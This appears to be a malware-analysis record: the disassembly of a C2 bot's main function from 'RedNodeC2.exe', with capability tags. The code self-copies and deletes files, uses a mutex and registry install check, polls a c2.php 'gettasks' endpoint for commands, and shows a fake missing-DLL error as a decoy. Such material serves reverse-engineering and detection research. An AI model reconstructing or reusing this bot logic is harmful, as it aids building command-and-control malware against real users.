Function at 0x140002010
Capabilities:
Accept command line arguments
Check mutex on windows
Copy file
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x930]
sub rsp, 0xa30
lea rcx, str.RednodeC2__n
call sym.RedNodeC2.exe_OutputDebugStringA
xor esi, esi
mov dword [rbp + 0x970], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x970]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r15d, 0x104
lea r14d, [rsi + 1]
mov rbx, rax
test rax, rax
je 0x14000212d
cmp dword [rbp + 0x970], 2
jle 0x14000212d
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, qword [rbx + 8]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x38], rsi
mov edi, 0x7d0
mov qword [rsp + 0x30], rsi
or r9d, 0xffffffff
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8, qword [rbx + 0x10]
lea rax, [rbp + 0x160]
mov qword [rsp + 0x38], rsi
or r9d, 0xffffffff
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], edi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r8d, r15d
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8d, r14d
lea rdx, [rbp + 0x160]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rcx, qword [rbx + 8]
lea rdx, str.selfupdate
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r8, str.RedNodeC2Test
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140002415
call fcn.140004290
cmp eax, r14d
je 0x1400023f9
call fcn.1400043a8
cmp eax, r14d
je 0x1400023f9
mov ecx, r15d
call fcn.140001050
lea r8, [rbp + 0x978]
mov qword [rbp + 0x970], rax
lea rdx, str.SoftwareRedNodeC2
mov rcx, 0xffffffff80000001
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1400021c4
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.____bot_is_not_installed_...__n
call sym.RedNodeC2.exe_OutputDebugStringA
lea rcx, [rbp + 0x970]
call fcn.1400031b8
jmp 0x1400021d8
lea rcx, [rbp + 0x970]
call fcn.1400039f8
test eax, eax
je 0x1400023c7
call fcn.1400036e8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
jmp 0x140002365
cmp qword [r15], rsi
je 0x1400023eb
mov edi, dword [r15 + 8]
add edi, r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x1400023e2
mov r8, qword [r15]
mov ecx, dword [r15 + 8]
test r8, r8
je 0x140002242
test ecx, ecx
je 0x140002242
mov rdx, rax
sub r8, rax
mov al, byte [r8 + rdx]
mov byte [rdx], al
add rdx, r14
add ecx, 0xffffffff
jne 0x140002234
lea rcx, str.ServerResponse_:
call sym.RedNodeC2.exe_OutputDebugStringA
mov rcx, rdi
call sym.RedNodeC2.exe_OutputDebugStringA
lea rcx, [0x14000539c]
call sym.RedNodeC2.exe_OutputDebugStringA
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rdi + rdx], sil
jne 0x140002266
add rdx, r14
mov rcx, rdi
call fcn.1400012bc
mov r13, rax
test rax, rax
jne 0x1400022e0
lea rcx, str.root_:_nullptr__n
call sym.RedNodeC2.exe_OutputDebugStringA
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [r15]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140002359
lea rdx, [rbp + 0x970]
mov rcx, r13
call fcn.140002434
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [r15]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r13
call fcn.140001f5c
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rbp + 0x970]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x104
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
lea rdx, str._c2.php
mov r12, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, str._actiongettasksUid
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov qword [rsp + 0x20], r12
call fcn.140002dd8
mov r15, rax
test rax, rax
jne 0x1400021eb
lea rcx, str.response_malloc_faild__:__n
call sym.RedNodeC2.exe_OutputDebugStringA
mov r14d, esi
mov esi, r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
jmp 0x140002417
lea rcx, str.ResponseChar_malloc_faild__:__n
jmp 0x1400023f2
lea rcx, str.response__data_malloc_faild__:__n
call sym.RedNodeC2.exe_OutputDebugStringA
jmp 0x1400023ca
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.vcruntime_dll_is_missing
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rbx, qword [rsp + 0xa80]
add rsp, 0xa30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret